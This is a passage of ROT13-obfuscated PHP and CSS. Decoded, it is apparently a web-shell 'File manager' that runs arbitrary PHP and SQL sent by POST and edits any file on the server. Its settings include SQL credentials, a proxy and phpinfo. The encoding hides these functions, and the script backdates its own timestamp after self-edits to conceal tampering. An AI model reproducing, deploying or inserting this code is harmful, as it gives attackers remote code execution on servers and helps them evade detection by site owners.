	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNLNNNNs8/9uNNNXG2yQD1ODnT90o3Abo3NtFHAQVUOlo2McoTHNNUwnaIAaISCcSw333iEPF4vNyRgiHuHVVSWPv4NHxFLdVDxDFbtubqxIHpREEHHRT8vtvNBBwbPZSIRfQVbX2NsxVnXBt6BVvfe74Khwn9n89+oA/eKKChrf852mmjsNPNlJFQAEALNZdHVrRrPQk8GT4rDhDVRXWUNNRNvmMPSm/FZONCu+CQjeVfNUitNOrAZYPNQNGMiNZOlU/j/dDcypNLPRNpO0xGuYPVNHNRO6wxXzNROTNLPqzPMGNXNRNTQYL2YwNSNgNTNas+oGNVPq+Wy7NDOoyPRINnPENPNGMLuRNTt7NXmCIbcSNStjNOEzF8D5NAtgNQOWI2MVNYP3NZQBRNhlNNtZNQOEvVHcNNE7NTQVVlA4NVFMNOET8yp88FhhRBpdNNO4zoV8hFD5ELSoPP1kO1qKYu4bmxxKXkD2LDWuzxNhjazMTGXOAN/t88jNNXPESEUtt/C9rZ4Bef7BAb62Qy8g6e8T/lWvLhC+5p+epRNNNBS0sgU+YP+mTbN7ObOg/dVy7tEbKthtqsrYMeVCDYHNbBanI/Aj+U48CRJuxYaM2rKx5AuXkRWoLpcKss5ajy/NI/1f+K48/Cs14Y7vWVRlKLSUOCwtjfm0GXHpm5VWuTYp5b9U/YpY//jq0lYRFJX5JPbH41RFpL5RzbmmZdHvvHXFXpHy0i9x4g8f+jZ+3mHNfTb+NKhEYnuqLjC2FlpDJUGN4ipNNCX7o8UHXNtQtTvQ4p93/+8//HrtWDPNMxzFpDNNKxDxYyGXfm/UPNNNEXPOXeOOT/GOTPmNOumOOqmOP/ktAbEPWZGPDuOPPzFNUUWtXnlPDvvTmoNqXzNi1RNqAZOEnVnGpN4hjyJ4Qw1jQ/cuPW7OXYlOPDEOlNtGLFUnvNSvvytwwttKzLK4VpSVOOXYWPQWvOEEVxhEAHtkHbcHVSIVUsV9ptV5u1kThcR7lNNltilTiRpkyVTlHG3HQYIQhnt3TbETbtiDMUDkzb8JbWiDpeDnCLj2brsDd2tC2b8+D8pjjBtLOmCRoQNhkfAPfGtfPMAwl7RveNlekudjIdjQh4a1L8+kqjDFtHKNPGLRq0VtLE5OFSuZJR7LFXttUPD0RqbWAjxQuSUPWlXGdRh0WebE+pDLLwVku1uVYPCJRb8GYkO7vRCRAlDFvHZlW7zDNxzkcSGFRgWT0z5FV+xfdMf0FObwx8anMThlOmzHYPNelVKxarGQ5QCxT+Du8yfXaJWNpnG4H+VbHfcdFuayRBH05DMyzQWOInBnHg2bbIDEAL9nDd2ugyXiHLrbRmE1zwaAtkMWF6JgbcKGTztKnCqce+u0huUqyE5By9OK0ficE+vK6NC0qjjAuuJQk4uaXOzoTNpLMky3TX+LGXLM04fMk1DjAmUezBrMQ5yiIItdgvc8SMUXPcIXyFnITlbiIXzdcderdtgI81KYIV+cKyA9exMIZ1CwdDaHydgIdc1D61ZoH2rcB6vUdzrbo1D/cU5M/LxTJpAZj09QcSTtfI/wiZLtP2ZMf3tfVJfAd4M1tGKRWeUA2Kk2XehL/E27vm2ddnR5DmAXZ1rmHiBHMw8U45uk+Wk0GtaaXXrK836X3uGiXrVcT6L0GYxkMIkedcnKyyveFXgEd0seiGnh7nrqce1Sh1a7tD5Ok0baKPqUM4/BOM3aH9yG3npXckMACGe1ev6dn6HobogRq79hc+6Lae5rtW5Zo6srro3a+uk9Y/1H/J36c/IUQStTfjjxOgfZmut8kGIkomjqY8so8ISQKpAND6IuyJTK4LFEhqR8b9ITwHLCwTaTKBZx423TopnwWtLzVFMYGrcA7ccFGozzXnL7GQgZk83ZmnYA1cx1zm0k1mYaz+ro15isg2OnrSbfgdv2hTIWfhEncyahgekhuIb5JnILIIcqf0ngan0y1ehgh6pEc7yBx06eagMaj7Qkgfz2dopMfBKLOghhgz22sJSaLuqag8Jhj+6GiMA9ha2A/G0UQLsMQdfqJu1+p7ElSQcJBg6nmcmhC33S9WocY2qLmkQC2QCwguCYXpEcaIBo00qaS2r5p4CmvVhWF4YYYcp+Ycfokg3VirEXqCIkKrS60iJqz7Bojh2b26/hAh5c7bspa8j0alzrJGAm0ZCVD+OE5qR/P5+IZTiseU5CD0+OM7KaVl9wY5SKeqrjg6I3diqu7kp+9w5la+Z+4mj33wYrJI/ZA8P3lYsYG8Aiay+S30A/V/9x/3e/0DPatPHOMjBWtHTOJjY7+Uc8Vo+BCmeoMsnl2r1OwXP5DEIOw4XgthKOeFSblBlDeFU355wBxp5cQbIDshwJ0Nqu5zTYj34ZW4JUuIrTC45jvStn0GTKAKsE3RAm30G6EWMR3cgaZH85el1XAFb+dv5dCAb3hwF6C8LhMyaZ1IvqJRyfFkj5YvdhAz5fig/87sBU4c3vP+A7S5tilS1jrnUBjiFSckncYuVfBcMNGVuBBWGjDENddOnZWsVGqlJBPaaPUpWaVv/EAgTV2RApXu5B8xtdGKdF7WT8AKxxkGByYBJ5uPrcxYkZQHmqzmdrScc2VT0lCGd9ZLBFxMOkDdbuGMB2M+ca5zM2l6kyuoY+kJ6Ygl8ryDsWn7BDeNIMYDd2DdobISbb1lbUfzqyI2n/mLaXBMneaviA7plmlghDA5mia//gRfVF4MX2cLMYIl0qJBn9eTb5fwkkrqfX4kHSX4MJOdj8hVd2Xz3IG6igI5rhse0zrx1etI7OlbYOgDSe6jgIPhJSsrip1+1qG1tiJq+1LsdTaEf+SLzXeuGoS5pIs9tb3UwyT4qile+M3WF0dniRhJGCMgWz6rorYM5oQcndy+nKQz4A2qd0Qq9JgB319xKoY5sAXAh7t7MQhnB/CYv8MnsWmf07C1FxICEH+yD27gYqgJUK+T7E7ug7iCL07AKoJ7m3/G7WiggINIIA1JoIMsgW+7C3C66Wdha4yiggKn1BoKUgkjCFN/0UVj6217aH1E3FCIEFw9Le60pBkk++/c3iql0AAt1IwMmT4vAjEUax6spW3/prQGenqbk7eBRU0k92UJpqY2cPziXnEcgGzigoLyh6G8j+0qod3ae8E9fsQ5j0CSy5FiAHlJan6LYGx2slm4lqyM19sv753TQobeM752CB32bCo++6RUGu0xK/v+p7iQiBKCX4qCXl2+HGI7uKzd86K23dqBb8/cCGG8r7aYhneeypn7ahre21r2o36EhrA87q9Y158Eo/1gJrBG3qisA6o/sS9/KsSg1+pvs9mfh72Kpa7d28G7ks9RQgDqyQ3LsIC1i+3Awi3U9djUrt89UpE/pTuLCC/cU1wj9QOL+Mw8hTQLoeawt+BGavC3Y96slaD89xmlnrS/6v/fhhSkLisiwI69sB0MwEbMsly5B/oKly/reN6kzi28oPku6+lKtmZI70IiigjKspqk3ib98CG+E8VU8b/2w5fsIG0Xs7xkzGx/8RN5wm/TZmYqfNNNNTLxgUENQ/NC8N/6P9c5ZNNNNWpRuMpjNNPkZNNNfGNDPnaOtNNNNUqRyAEDspPNjTZuyrTNXBNNNOlRyRDID4l8JGG2fHDEQSs9KGZ+CTVOUqRRDE8rNsttnCUiGhlH+v+N38NS48rsWoXO5mR0VZNIpPvEuDR8tzz111f9zM3My+Uznl5dNL8TOQqGJCrb9UIEs872B9kIi3/WaePltVH406X/doeoC3Iko/dwQ8+BFAgP+IK6EvHleJcKWQ2nraslE3Kf9A3u5eSVj6RNLDkfNVXZSk+psFt0qzSx+dWnDlTh0gijG2XjRMuNADJMTIt3YF83rhcZ2S5lvQxR9jQCM762iDsIHWuVXD7GQnJ8GvnpPB2yAaq6kwyLicz49s5ShAM+KOkcba5OGsJdFmA4NRYNSYd+jFoVYSqKtthbvoHw7+ih0EXT9wrLUx6hVRKVbfDMMvAJLhDFDDGJShLRI3npKGsjqkvgXeDNjhzLvLB3WmPxIGlQJjft+QIME9LAGY3adAQaUkAOd2s1zp2V1NtaNVEEsToIDBnzralD7nl74fV3m+SJJU9nvBeyPSOBnddYbVlvwj+LJUJ9h+PXoTfVp0/f2K0oScUZAHRhXMIDP/2k0zZ00C8vqsNNrgm2RGjT5sn87CabfhuLOBlb8pggZWJ+83qyi/gVy3S+o4PLlc2Gkj2IHjNNNNNRySGxFhDzPP");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
